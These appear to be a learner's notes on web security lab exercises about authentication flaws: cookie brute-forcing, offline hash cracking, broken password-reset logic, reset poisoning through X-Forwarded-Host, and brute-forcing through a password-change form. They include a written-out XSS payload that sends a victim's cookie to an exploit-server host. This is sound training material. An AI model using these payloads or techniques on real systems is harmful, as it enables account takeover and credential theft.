Notes:

Websites often have "Remember me" features using predictable "remember me" tokens stored in cookies, risking easy bypass of login processes if guessed.

• Brute-forcing a stay-logged-in cookie
  • Lab demonstrates the risks of using weak stay-logged-in cookie implementations that are vulnerable to brute-force attacks.
    • Login, as stay logged in checked on. In the next request of GET /my-account. there’s a parameter and a session cookie of stay logged in. In intruder we change the param value to victim and the session cookie as the payload and the payload processing applied to it.
  • We saw payload processing, a particular payload requiring 3 layers of encoding to be passed before going in the request. Hashing as MD5, Adding a prefix to it, then Base64 encoding it and then passing the whole thing as a payload in the request
• Offline password cracking
  • purpose of this lab is to demonstrate the potential of cracking passwords offline, their weak authentication code logic, cookie stealing
    • Login with the credentials and inspect the stay-logged-in cookie value. its encoded in base64 with (username:{password in md5}). the comment sections in the blogs are vulnerable to xss, Exploit XSS to redirect victim's cookie to your exploit server. <script>document.location='//YOUR-EXPLOIT-SERVER-ID.exploit-server.net/'+document.cookie</script> in the server logs, there’ll be a stay-logged-in cookie of user carlos . decode this cookie, base64 then md5
    • login with the password and delete the user
  • XSS vulnerabilities, which can lead to cookie theft and account compromise. not storing sensitive info like password hashes in cookies
• Password reset broken logic
  • Lab demonstrates by properly validating password reset tokens to prevent attackers from resetting other users' passwords
    • Trigger a password reset for your own account and inspect the email link. Reset your own password and inspect that request. Then try reset password link using the victim’s account in repeater. swap the username with victim and a new password. Try logging in with the new password
  • The absence of token validation upon form submission enables attackers to reset passwords for any user by manipulating request parameters.
• Password reset poisoning via middleware
  • Lab showcases password reset poisoning, where an attacker can steal a password reset token
    • forgot Password functionality page, the POST /forgot-password supports X-Forwarded-Host header. add the exploit server URL and the victim’s username and send the request. Obtain the token from the access logs and reset the password of the victim
  • headers can reroute reset tokens to an attacker-controlled domain. check for headers like these. X-Forwarded-Host headers that may pass through various proxies or load balancers. It indicates the original host requested by the client in the Host HTTP request header.
    • Headers like X-Forwarded-For, X-Forwarded-Proto, and Forwarded play a significant role in determining the client's original IP, protocol, and host.
• Password brute-force via password change
  • brute-forcing a user's password by exploiting the password change functionality. hidden input fields in the password change form to submit the username, alongside the logic that different error messages were displayed based on the input validity
    • analyze the password change functionality, observing the error messages. brute-force Carlos's account by adding a payload position for the current-password parameter in the POST /my-account/change-password page. Set both the new password parameters to two different values and run the attack.
  • importance of uniform error responses. Providing detailed error messages under different circumstances can inadvertently assist attackers in enumerating valid credentials.